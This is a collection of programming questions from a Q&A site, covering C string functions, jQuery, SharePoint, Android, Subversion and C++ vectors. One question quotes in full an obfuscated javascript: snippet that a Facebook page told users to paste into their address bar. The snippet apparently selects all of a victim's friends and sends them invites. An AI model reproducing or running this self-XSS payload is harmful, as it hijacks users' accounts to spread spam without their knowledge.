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  • Which functions in the C standard library commonly encourage bad practice?

    - by Ninefingers
    Hello all, This is inspired by this question and the comments on one particular answer in that I learnt that strncpy is not a very safe string handling function in C and that it pads zeros, until it reaches n, something I was unaware of. Specifically, to quote R.. strncpy does not null-terminate, and does null-pad the whole remainder of the destination buffer, which is a huge waste of time. You can work around the former by adding your own null padding, but not the latter. It was never intended for use as a "safe string handling" function, but for working with fixed-size fields in Unix directory tables and database files. snprintf(dest, n, "%s", src) is the only correct "safe strcpy" in standard C, but it's likely to be a lot slower. By the way, truncation in itself can be a major bug and in some cases might lead to privilege elevation or DoS, so throwing "safe" string functions that truncate their output at a problem is not a way to make it "safe" or "secure". Instead, you should ensure that the destination buffer is the right size and simply use strcpy (or better yet, memcpy if you already know the source string length). And from Jonathan Leffler Note that strncat() is even more confusing in its interface than strncpy() - what exactly is that length argument, again? It isn't what you'd expect based on what you supply strncpy() etc - so it is more error prone even than strncpy(). For copying strings around, I'm increasingly of the opinion that there is a strong argument that you only need memmove() because you always know all the sizes ahead of time and make sure there's enough space ahead of time. Use memmove() in preference to any of strcpy(), strcat(), strncpy(), strncat(), memcpy(). So, I'm clearly a little rusty on the C standard library. Therefore, I'd like to pose the question: What C standard library functions are used inappropriately/in ways that may cause/lead to security problems/code defects/inefficiencies? In the interests of objectivity, I have a number of criteria for an answer: Please, if you can, cite design reasons behind the function in question i.e. its intended purpose. Please highlight the misuse to which the code is currently put. Please state why that misuse may lead towards a problem. I know that should be obvious but it prevents soft answers. Please avoid: Debates over naming conventions of functions (except where this unequivocably causes confusion). "I prefer x over y" - preference is ok, we all have them but I'm interested in actual unexpected side effects and how to guard against them. As this is likely to be considered subjective and has no definite answer I'm flagging for community wiki straight away. I am also working as per C99.

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  • How to call function that inside JQuery Plugin From outside the plugin?

    - by CaTz
    hi, i am using textarea elastic plugin JQuery. this is the plugin (function(jQuery){ jQuery.fn.extend({ elastic: function() { // We will create a div clone of the textarea // by copying these attributes from the textarea to the div. var mimics = [ 'paddingTop', 'paddingRight', 'paddingBottom', 'paddingLeft', 'fontSize', 'lineHeight', 'fontFamily', 'width', 'fontWeight']; return this.each( function() { // Elastic only works on textareas if ( this.type != 'textarea' ) { return false; } var $textarea = jQuery(this), $twin = jQuery('<div />').css({'position': 'absolute','display':'none','word-wrap':'break-word'}), lineHeight = parseInt($textarea.css('line-height'),10) || parseInt($textarea.css('font-size'),'10'), minheight = parseInt($textarea.css('height'),10) || lineHeight*3, maxheight = parseInt($textarea.css('max-height'),10) || Number.MAX_VALUE, goalheight = 0, i = 0; // Opera returns max-height of -1 if not set if (maxheight < 0) { maxheight = Number.MAX_VALUE; } // Append the twin to the DOM // We are going to meassure the height of this, not the textarea. $twin.appendTo($textarea.parent()); // Copy the essential styles (mimics) from the textarea to the twin var i = mimics.length; while(i--){ $twin.css(mimics[i].toString(),$textarea.css(mimics[i].toString())); } // Sets a given height and overflow state on the textarea function setHeightAndOverflow(height, overflow){ curratedHeight = Math.floor(parseInt(height,10)); if($textarea.height() != curratedHeight){ $textarea.css({'height': curratedHeight + 'px','overflow':overflow}); } } // This function will update the height of the textarea if necessary function update() { // Get curated content from the textarea. var textareaContent = $textarea.val().replace(/&/g,'&amp;').replace(/ /g, '&nbsp;').replace(/<|>/g, '&gt;').replace(/\n/g, '<br />'); var twinContent = $twin.html(); if(textareaContent+'&nbsp;' != twinContent){ // Add an extra white space so new rows are added when you are at the end of a row. $twin.html(textareaContent+'&nbsp;'); // Change textarea height if twin plus the height of one line differs more than 3 pixel from textarea height if(Math.abs($twin.height()+lineHeight/3 - $textarea.height()) > 3){ var goalheight = $twin.height()+lineHeight/3; if(goalheight >= maxheight) { setHeightAndOverflow(maxheight,'auto'); } else if(goalheight <= minheight) { setHeightAndOverflow(minheight,'hidden'); } else { setHeightAndOverflow(goalheight,'hidden'); } } } } // Hide scrollbars $textarea.css({'overflow':'hidden'}); // Update textarea size on keyup $textarea.keyup(function(){ update(); }); $textarea.focus(function(){ update(); }); // And this line is to catch the browser paste event $textarea.live('input paste',function(e){ setTimeout( update, 250); }); // Run update once when elastic is initialized update(); }); } }); })(jQuery); How can i call from the outside of the plugin to the update function that is inside?

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  • Wiki-fying a text using LPeg

    - by Stigma
    Long story coming up, but I'll try to keep it brief. I have many pure-text paragraphs which I extract from a system and re-output in wiki format so that the copying of said data is not such an arduous task. This all goes really well, except that there are no automatic references being generated for the 'topics' we have pages for, which end up needing to be added by reading through all the text and adding it in manually by changing Topic to [[Topic]]. First requirement: each topic is only to be made clickable once, which is the first occurrence. Otherwise, it would become a really spammy linkfest, which would detract from readability. To avoid issues with topics that start with the same words Second requirement: overlapping topic names should be handled in such a way that the most 'precise' topic gets the link, and in later occurrences, the less precise topics do not get linked, since they're likely not correct. Example: topics = { "Project", "Mary", "Mr. Moore", "Project Omega"} input = "Mary and Mr. Moore work together on Project Omega. Mr. Moore hates both Mary and Project Omega, but Mary simply loves the Project." output = function_to_be_written(input) -- "[[Mary]] and [[Mr. Moore]] work together on [[Project Omega]]. Mr. Moore hates both Mary and Project Omega, but Mary simply loves the [[Project]]." Now, I quickly figured out a simple or complicated string.gsub() could not get me what I need to satisfy the second requirement, as it provides no way to say 'Consider this match as if it did not happen - I want you to backtrack further'. I need the engine to do something akin to: input = "abc def ghi" -- Looping over the input would, in this order, match the following strings: -- 1) abc def ghi -- 2) abc def -- 3) abc -- 4) def ghi -- 5) def -- 6) ghi Once a string matches an actual topic and has not been replaced before by its wikified version, it is replaced. If this topic has been replaced by a wikified version before, don't replace, but simply continue the matching at the end of the topic. (So for a topic "abc def", it would test "ghi" next in both cases.) Thus I arrive at LPeg. I have read up on it, played with it, but it is considerably complex, and while I think I need to use lpeg.Cmt and lpeg.Cs somehow, I am unable to mix the two properly to make what I want to do work. I am refraining from posting my practice attempts as they are of miserable quality and probably more likely to confuse anyone than assist in clarifying my problem. (Why do I want to use a PEG instead of writing a triple-nested loop myself? Because I don't want to, and it is a great excuse to learn PEGs.. except that I am in over my head a bit. Unless it is not possible with LPeg, the first is not an option.)

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  • Minimum permission required to access Site Columns page and edit site columns

    - by ParanoidMike
    We've started to adopt SharePoint 2010, and are starting to manually migrate content from SharePoint 2007 sites to new sites we're rebuilding from scratch in SP2010. One of the things we previously had supported was to delegate responsibility for managing some of our site columns to a member of the team. The team member is not familiar with SharePoint internals, and doesn't want the responsibility of full permissions to the site and all its objects. We're now trying to figure out what the minimum permission is that we need to grant our team member, so they can continue to edit (& propagate) the content of the site columns we've defined. Permissions he currently has (which are obviously insufficient): Site permissions (according to _layouts/user.aspx): Read, Contribute, Manage Lists Permissions for specific objects in the site (according to _layouts/people.aspxMembershipGroupId=xxx, then choosing Settings, View Group Permissions): server/sites/[sitename]: Contribute server/sites/[sitename]/Lists/[a list with columns that inherit from site columns]: "Contribute No Delete" Note: the "Contribute No Delete" permission is a custom permission I designed by copying the SharePoint-native "Contribute" permission set and deselecting the Delete permission. The "Manage Lists" permission is a custom permission I designed that includes the following specific permissions: (List Permissions) Manage Lists, View Items; (Site Permissions) View Pages, Open. Operations that are throwing access denied errors: _layouts/mngfield.aspx: SharePoint returns the "Error: Access Denied" dialog, and provides three clickable options: "Sign in as a different user", "Request access", and "Go back to site" _layouts/fldedit.aspx?field=Level%5Fx0020%5F3 [one of the site columns we've defined]: can load the page and type in changes to the textboxes "...but when I press OK (save changes) I get the same message above." When our team member clicks the "Request access" link, the email I receive sends me to a page that recommends that I grant the user membership in the "[sitename] Users" group - of which he's already a member. So while SP2010 tries to request access, it doesn't actually direct me to either (a) a valid group that has the correct permissions or (b) the specific object to which I need to grant our team member access. Also note: on the SP2007 (MOSS) site (where our team member was successful in managing Site Column edits), they had dozens of additional permissions throughout the site that we do not wish to blindly re-allocate in SP2010 until we know they're necessary. Any help anyone can provide would be greatly appreciated.

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  • Sharing a file from Android to Gmail or to Dropbox

    - by Calaf
    To share a simple text file, I started by copying verbatim from FileProvider's manual page: <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <provider android:name="android.support.v4.content.FileProvider" android:authorities="com.mycorp.helloworldtxtfileprovider.MainActivity" android:exported="false" android:grantUriPermissions="true" > <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/my_paths" /> </provider> <activity android:name="com.mycorp.helloworldtxtfileprovider.MainActivity" ... Then I saved a text file and used, again nearly verbatim, the code under Sending binary content. (Notice that this applies more accurately in this case than "Sending text content" since we are sending a file, which happens to be a text file, rather than just a string of text.) For the convenience of duplication on your side, and since the code is in any case so brief, I'm including it here in full. public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String filename = "hellow.txt"; String fileContents = "Hello, World!\n"; byte[] bytes = fileContents.getBytes(); FileOutputStream fos = null; try { fos = this.openFileOutput(filename, MODE_PRIVATE); fos.write(bytes); } catch (IOException e) { e.printStackTrace(); } finally { try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } File file = new File(filename); Intent shareIntent = new Intent(); shareIntent.setAction(Intent.ACTION_SEND); shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.fromFile(file)); shareIntent.setType("application/txt"); startActivity(Intent.createChooser(shareIntent, getResources().getText(R.string.send_to))); file.delete(); } } Aside from adding a value for send_to in res/values/strings.xml, the only other change I did to the generic Hello, World that Eclipse creates is to add the following in res/xml/my_paths.xml (as described on the page previously referenced. <paths xmlns:android="http://schemas.android.com/apk/res/android"> <Files-path name="files" path="." /> </paths> This code runs fine. It shows a list of intent recipients. But sending the text file to either Dropbox or to Gmail fails. Dropbox sends the notification "Uploading to Dropbox" followed by "Upload failed: my_file.txt". After "sending message.." Gmail sends "Couldn't send attachment". What is wrong?

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  • Good Secure Backups Developers at Home

    - by slashmais
    What is a good, secure, method to do backups, for programmers who do research & development at home and cannot afford to lose any work? Conditions: The backups must ALWAYS be within reasonably easy reach. Internet connection cannot be guaranteed to be always available. The solution must be either FREE or priced within reason, and subject to 2 above. Status Report This is for now only considering free options. The following open-source projects are suggested in the answers (here & elsewhere): BackupPC is a high-performance, enterprise-grade system for backing up Linux, WinXX and MacOSX PCs and laptops to a server's disk. Storebackup is a backup utility that stores files on other disks. mybackware: These scripts were developed to create SQL dump files for basic disaster recovery of small MySQL installations. Bacula is [...] to manage backup, recovery, and verification of computer data across a network of computers of different kinds. In technical terms, it is a network based backup program. AutoDL 2 and Sec-Bk: AutoDL 2 is a scalable transport independant automated file transfer system. It is suitable for uploading files from a staging server to every server on a production server farm [...] Sec-Bk is a set of simple utilities to securely back up files to a remote location, even a public storage location. rsnapshot is a filesystem snapshot utility for making backups of local and remote systems. rbme: Using rsync for backups [...] you get perpetual incremental backups that appear as full backups (for each day) and thus allow easy restore or further copying to tape etc. Duplicity backs directories by producing encrypted tar-format volumes and uploading them to a remote or local file server. [...] uses librsync, [for] incremental archives Other Possibilities: Using a Distributed Version Control System (DVCS) such as Git(/Easy Git), Bazaar, Mercurial answers the need to have the backup available locally. Use free online storage space as a remote backup, e.g.: compress your work/backup directory and mail it to your gmail account. Strategies See crazyscot's answer

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  • Use native HBitmap in C# while preserving alpha channel/transparency. Please check this code, it works on my computer...

    - by David
    Let's say I get a HBITMAP object/handle from a native Windows function. I can convert it to a managed bitmap using Bitmap.FromHbitmap(nativeHBitmap), but if the native image has transparency information (alpha channel), it is lost by this conversion. There are a few questions on Stack Overflow regarding this issue. Using information from the first answer of this question (How to draw ARGB bitmap using GDI+?), I wrote a piece of code that I've tried and it works. It basically gets the native HBitmap width, height and the pointer to the location of the pixel data using GetObject and the BITMAP structure, and then calls the managed Bitmap constructor: Bitmap managedBitmap = new Bitmap(bitmapStruct.bmWidth, bitmapStruct.bmHeight, bitmapStruct.bmWidth * 4, PixelFormat.Format32bppArgb, bitmapStruct.bmBits); As I understand (please correct me if I'm wrong), this does not copy the actual pixel data from the native HBitmap to the managed bitmap, it simply points the managed bitmap to the pixel data from the native HBitmap. And I don't draw the bitmap here on another Graphics (DC) or on another bitmap, to avoid unnecessary memory copying, especially for large bitmaps. I can simply assign this bitmap to a PictureBox control or the the Form BackgroundImage property. And it works, the bitmap is displayed correctly, using transparency. When I no longer use the bitmap, I make sure the BackgroundImage property is no longer pointing to the bitmap, and I dispose both the managed bitmap and the native HBitmap. The Question: Can you tell me if this reasoning and code seems correct. I hope I will not get some unexpected behaviors or errors. And I hope I'm freeing all the memory and objects correctly. private void Example() { IntPtr nativeHBitmap = IntPtr.Zero; /* Get the native HBitmap object from a Windows function here */ // Create the BITMAP structure and get info from our nativeHBitmap NativeMethods.BITMAP bitmapStruct = new NativeMethods.BITMAP(); NativeMethods.GetObjectBitmap(nativeHBitmap, Marshal.SizeOf(bitmapStruct), ref bitmapStruct); // Create the managed bitmap using the pointer to the pixel data of the native HBitmap Bitmap managedBitmap = new Bitmap( bitmapStruct.bmWidth, bitmapStruct.bmHeight, bitmapStruct.bmWidth * 4, PixelFormat.Format32bppArgb, bitmapStruct.bmBits); // Show the bitmap this.BackgroundImage = managedBitmap; /* Run the program, use the image */ MessageBox.Show("running..."); // When the image is no longer needed, dispose both the managed Bitmap object and the native HBitmap this.BackgroundImage = null; managedBitmap.Dispose(); NativeMethods.DeleteObject(nativeHBitmap); } internal static class NativeMethods { [StructLayout(LayoutKind.Sequential)] public struct BITMAP { public int bmType; public int bmWidth; public int bmHeight; public int bmWidthBytes; public ushort bmPlanes; public ushort bmBitsPixel; public IntPtr bmBits; } [DllImport("gdi32", CharSet = CharSet.Auto, EntryPoint = "GetObject")] public static extern int GetObjectBitmap(IntPtr hObject, int nCount, ref BITMAP lpObject); [DllImport("gdi32.dll")] internal static extern bool DeleteObject(IntPtr hObject); }

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  • Objective-C: properties not being saved or passed

    - by Gerald Yeo
    Hi, i'm a newbie to iphone development. I'm doing a navigation-based app, and I'm having trouble passing values to a new view. @interface RootViewController : UITableViewController { NSString *imgurl; NSMutableArray *galleryArray; } @property (nonatomic, retain) NSString *imgurl; @property (nonatomic, retain) NSMutableArray *galleryArray; - (void)showAll; @end #import "RootViewController.h" #import "ScrollView.h" #import "Model.h" #import "JSON/JSON.h" @implementation RootViewController @synthesize galleryArray, imgurl; - (void)viewDidLoad { UIBarButtonItem *showButton = [[[UIBarButtonItem alloc] initWithTitle:NSLocalizedString(@"Show All", @"") style:UIBarButtonItemStyleBordered target:self action:@selector(showAll)] autorelease]; self.navigationItem.rightBarButtonItem = showButton; NSString *jsonString = [[Model sharedInstance] jsonFromURLString:@"http://www.ddbstaging.com/gerald/gallery.php"]; NSDictionary *resultDictionary = [jsonString JSONValue]; if (resultDictionary == nil) { UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Webservice Down" message:@"The webservice you are accessing is currently down. Please try again later." delegate:self cancelButtonTitle:@"OK" otherButtonTitles:nil]; [alert show]; [alert release]; } else { galleryArray = [[NSMutableArray alloc] init]; galleryArray = [resultDictionary valueForKey:@"gallery"]; imgurl = (NSString *)[galleryArray objectAtIndex:0]; NSLog(@" -> %@", galleryArray); NSLog(imgurl); } } - (void)showAll { NSLog(@" -> %@", galleryArray); NSLog(imgurl); ScrollView *controller = [[ScrollView alloc] initWithJSON:galleryArray]; [self.navigationController pushViewController:controller animated:YES]; } The RootViewController startup and the json data loads up fine. I can see it from the first console trace. However, once I click on the Show All button, the app crashes. It doesn't even trace the galleryArray and imgurl properyly. Maybe additional pairs of eyes can spot my mistakes. Any help is greatly appreciated! [Session started at 2010-05-08 16:16:07 +0800.] 2010-05-08 16:16:07.242 Photos[5892:20b] -> ( ) GNU gdb 6.3.50-20050815 (Apple version gdb-967) (Tue Jul 14 02:11:58 UTC 2009) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-apple-darwin".sharedlibrary apply-load-rules all Attaching to process 5892. (gdb)

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  • Unable to start basic application using sencha 2. Library files are not loaded

    - by Gendaful
    I am a new bee to sencha 2.I wanted to run a basic application using sencha touch but unable to load the application. Here is what I have done. I have downloaded the notesApp from miamicoder and i am trying to run the first chapter. I have attached the folder structure in the screenshot. Please have a look to understand the folder structure. Here is my index.html <!DOCTYPE html> <html> <head> <title>My Notes</title> <link href="sencha-touch.css" rel="stylesheet" type="text/css" /> <script src="sencha-touch-debug.js" type="text/javascript"></script> <script src="app.js" type="text/javascript"></script> </head> <body> </body> </html> I have downloaded sencha sdk 2.1 and took sencha-touch-debug.js and sencha-touch.css and placed in the root of the folder and referred from index.html as mentioned below. I used to to the same thing in sencha 1 and I was getting success but I am getting below error if I am trying to do the same with sencha 2. I am getting errors as below. Failed to load resource file:///path/NotesApp-Book-Code-Ch1/src/event/Dispatcher.js?_dc=1354982532236 Failed to load resource file:///path/NotesApp-Book-Code-Ch1/src/event/publisher/Dom.js?_dc=1354982532238 Uncaught Error: [Ext.Loader] Failed loading 'file:///path/ebook-building-a-sencha-touch-2-app%20(1)/NotesApp-Book-Code-Ch1/src/event/Dispatcher.js', please verify that the file exists sencha-touch-debug.js:8324 Uncaught Error: [Ext.Loader] Failed loading 'file:///path/ebook-building-a-sencha-touch-2-app%20(1)/NotesApp-Book-Code-Ch1/src/event/publisher/Dom.js', please verify that the file exists Is it necessary to use senchatools and generate folder structure? Simply copying the two lib files (sencha-touch-debug.js and sencha-touch.css) and refer them from index.html will not work with sencha 2? Please help. Thank you.

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  • Is there any "modern" text editor with command-line/minibuffer?

    - by Pedro Morte Rolo
    A command line in a text editor is a wonderful feature. It allows the user to explore the editor's functionality and learn it's shortcuts in a textual way. It's much faster than using the mouse, and it is much easier to memorise "shortcuts" this way. Emacs and VI provide this, though, emacs and vi are not "modern". By "modern", I mean one that is original built to cope with the modern de-facto standards of selecting, copying, pasting, cutting, undoing, redoing and auto-completing. Cream/vi or Emacs/CUA are not valid options, since there are loads of things built over them that conflict with the mentioned stuff. It would be nice if there was an editor that would cope with the modern de-facto standards out-off-the-box, but still provide a command-line/minibuffer to perform/explore the commands and learn its shortcuts. Is there such a thing? I do not intend to use the "modern" term as derrogatory. I love both Emacs and VI, but I hate their keyboard-shortcut historical baggage. When I reffer to de-facto standards, I am not talking about Windows vs Whatever. Kate, gedit, Eclipse, Intelij or Textmate also follow the norm I am talking about and are not Windows editors. Please do not advertise Vim and Emacs, that's not answering the question. I am asking for alternatives. Why don't I like emacs and vi: Emacs: Despite CUA mode, emacs has loads of modes that conflict with this (e.g. slime, ruby-mode, etc...) It would be nice to have something that would work out-off-the-box. VI: I do not like that it is Visual/Insert-based. I do not know how to browse the text-editor's commands. I do not like that it is so much tought for the terminal. I believe that it has the same problem that I mentioned for emacs. This question is starting to look like requirement analysis.. As de-facto standards I mean: Ctrol-XCV for cut-copy-paste Ctrol-A for select-all Contrl-Z for Undo Ctrol-Y for Redo Control-F for Searching Contrl-Space for auto-complete Shift-arrow for selection Control-arrow for word-navigation Alt-Arrow for moving

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  • How best to store Subversion version information in EAR's?

    - by Rene
    When receiving a bug report or an it-doesnt-work message one of my initials questions is always what version? With a different builds being at many stages of testing, planning and deploying this is often a non-trivial question. I the case of releasing Java JAR (ear, jar, rar, war) files I would like to be able to look in/at the JAR and switch to the same branch, version or tag that was the source of the released JAR. How can I best adjust the ant build process so that the version information in the svn checkout remains in the created build? I was thinking along the lines of: adding a VERSION file, but with what content? storing information in the META-INF file, but under what property with which content? copying sources into the result archive added svn:properties to all sources with keywords in places the compiler leaves them be I ended up using the svnversion approach (the accepted anwser), because it scans the entire subtree as opposed to svn info which just looks at the current file / directory. For this I defined the SVN task in the ant file to make it more portable. <taskdef name="svn" classname="org.tigris.subversion.svnant.SvnTask"> <classpath> <pathelement location="${dir.lib}/ant/svnant.jar"/> <pathelement location="${dir.lib}/ant/svnClientAdapter.jar"/> <pathelement location="${dir.lib}/ant/svnkit.jar"/> <pathelement location="${dir.lib}/ant/svnjavahl.jar"/> </classpath> </taskdef> Not all builds result in webservices. The ear file before deployment must remain the same name because of updating in the application server. Making the file executable is still an option, but until then I just include a version information file. <target name="version"> <svn><wcVersion path="${dir.source}"/></svn> <echo file="${dir.build}/VERSION">${revision.range}</echo> </target> Refs: svnrevision: http://svnbook.red-bean.com/en/1.1/re57.html svn info http://svnbook.red-bean.com/en/1.1/re13.html subclipse svn task: http://subclipse.tigris.org/svnant/svn.html svn client: http://svnkit.com/

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  • Ajax to read updated values from XML

    - by punit
    I am creating file upload progress bar. I have a CGI script which copies the data, and here I increment the progress bar value by ONE after certain iterations. I am storing the incremented value in XML file (I also tried using plain text file). On the other side I have ajax reading incremented value from xml and depending on that it increments the DIV element. However, what happens here is, it seems to me that although the ajax reads all the incremented values but it processes it after the CGI has finished execution. That is progress bar starts execution once the file copying and other stuff in CGI is completed. My code is: AJAX:::: function polling_start() { //GETS CALLED WHEN USER HITS FILE UPLOAD BUTTON intervalID = window.setInterval(send_request,100); } window.onload = function (){ request = initXMLHttpClient(); request.overrideMimeType('text/xml'); progress = document.getElementById('progress'); } function initXMLHttpClient() { if (window.XMLHttpRequest){ // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else{ // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp } function send_request() { request.open("GET","progress_bar.xml",true); request.onreadystatechange = request_handler; request.send(); } function request_handler() { if (request.readyState == 4 && request.status == 200) { var level=request.responseXML.getElementsByTagName('PROGRESS')[0].firstChild; progress.style.width = progress.innerHTML = level.nodeValue + '%'; progress.style.backgroundColor = "green"; } } /****ON SERVER SIDE*********/ char xmlDat1[] = "<DOCUMENT><PROGRESS>"; char xmlDat2[] = "</PROGRESS></DOCUMENT>"; fptr = fopen("progress_bar.xml", "w"); .........OTHER STUFF.............................. ................................. if(i == inc && j<=100) { fprintf(fptr, "%s\n", "\n\n\n]"); //fprintf(fptr, "%s\n", ""); fprintf(fptr, "%s", xmlDat1); // fprintf(fptr, "%d" ,j); fprintf(fptr, "%s" ,xmlDat2); fseek(fptr, 0, SEEK_SET); /*fprintf(fptr, "%d" ,j); fseek(fptr, 0, SEEK_SET);*/ i = 0; //sleep(1); j++; } (I also tried to write in .text, but same response) Any quick response would be appreciable.

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  • segfault on vector<struct>

    - by Andre
    Hello, I created a struct to hold some data and then declared a vector to hold that struct. But when I do a push_back I get damn segfault and I have no idea why! My struct is defines as: typedef struct Group { int codigo; string name; int deleted; int printers; int subpage; /*included this when it started segfaulting*/ Group(){ name.reserve(MAX_PRODUCT_LONG_NAME); } ~Group(){ name.clear(); } Group(const Group &b) { codigo = b.codigo; name = b.name; deleted = b.deleted; printers = b.printers; subpage = b.subpage; } /*end of new stuff*/ }; Originally, the struct didn't have the copy, constructor or destructor. I added them latter when I read this post below. http://stackoverflow.com/questions/676575/seg-fault-after-is-item-pushed-onto-stl-container but the end result is the same. There is one this that is bothering me as hell! When I first push some data into the vector, everything goes fine. Later on in the code when I try to push some more data into the vector, my app just segfaults! The vector is declared vector<Group> Groups and is a global variable to the file where I am using it. No externs anywhere else, etc... I can trace the error to: _M_deallocate(this->_M_impl._M_start, this->_M_impl._M_end_of_storage- this->_M_impl._M_start); in vector.tcc when I finish adding/copying the last element to the vector.... As far as I can tell. I shouldn't be needing anything to do with a copy constructor as a shallow copy should be enough for this. I'm not even allocating any space (but I did a reserve for the string to try out). I have no idea what the problem is! I'm running this code on OpenSuse 10.2 with gcc 4.1.2 I'm not really to eager to upgrade gcc because of backward compatibility issues... This code worked "perfectly" on my windows machine. I compiled it with gcc 3.4.5 mingw without any problems... help! --- ... --- :::EDIT::: I push data Group tmp_grp; (...) tmp_grp.name = "Nova "; tmp_grp.codigo=GetGroupnextcode(); tmp_grp.deleted=0; tmp_grp.printers=0; tmp_grp.subpage=0; Groups.push_back(tmp_grp);

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  • What exactly dose this piece of JavaScript do ?

    - by helpmarnie
    ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

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  • itextsharp PdfCopy and landscape pages

    - by Andreas Rehm
    I'm using itextsharp to join mutiple pdf documents and add a footer. My code works fine - except for landscape pages - it isn't detecting the page rotation - the footer is not centerd for landscape: public static int AddPagesFromStream(Document document, PdfCopy pdfCopy, Stream m, bool addFooter, int detailPages, string footer, int footerPageNumOffset, int numPages, string pageLangString, string printLangString) { CreateFont(); try { m.Seek(0, SeekOrigin.Begin); var reader = new PdfReader(m); // get page count var pdfPages = reader.NumberOfPages; var i = 0; // add pages while (i < pdfPages) { i++; // import page with pdfcopy var page = pdfCopy.GetImportedPage(reader, i); // get page center float posX; float posY; var rotation = page.BoundingBox.Rotation; if (rotation == 0 || rotation == 180) { posX = page.Width / 2; posY = 0; } else { posX = page.Height / 2; posY = 20f; } var ps = pdfCopy.CreatePageStamp(page); var cb = ps.GetOverContent(); // add footer cb.SetColorFill(BaseColor.WHITE); var gs1 = new PdfGState {FillOpacity = 0.8f}; cb.SetGState(gs1); cb.Rectangle(0, 0, document.PageSize.Width, 46f + posY); cb.Fill(); // Text cb.SetColorFill(BaseColor.BLACK); cb.SetFontAndSize(baseFont, 7); cb.BeginText(); // create text var pages = string.Format(pageLangString, i + footerPageNumOffset, numPages); cb.ShowTextAligned(PdfContentByte.ALIGN_CENTER, printLangString, posX, 40f + posY, 0f); cb.ShowTextAligned(PdfContentByte.ALIGN_CENTER, footer, posX, 28f + posY, 0f); cb.ShowTextAligned(PdfContentByte.ALIGN_CENTER, pages, posX, 20f + posY, 0f); cb.EndText(); ps.AlterContents(); // add page to new pdf pdfCopy.AddPage(page); } // close PdfReader reader.Close(); // return number of pages return i; } catch (Exception e) { Console.WriteLine(e); return 0; } } How do I detect the page rotation (e.g. landscape) format in this case? The given example works for PdfReader but not for PdfCopy. Edit: Why do I need PdfCopy? I tried copying a word pdf export. Some word hyperlinks will not work when you try to copy pages with PdfReader. Only PdfCopy transfers all needed page informations. Edit: (SOLVED) You need to use reader.GetPageRotation(i);

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  • Fleunt NHibernate not working outside of nunit test fixtures

    - by thorkia
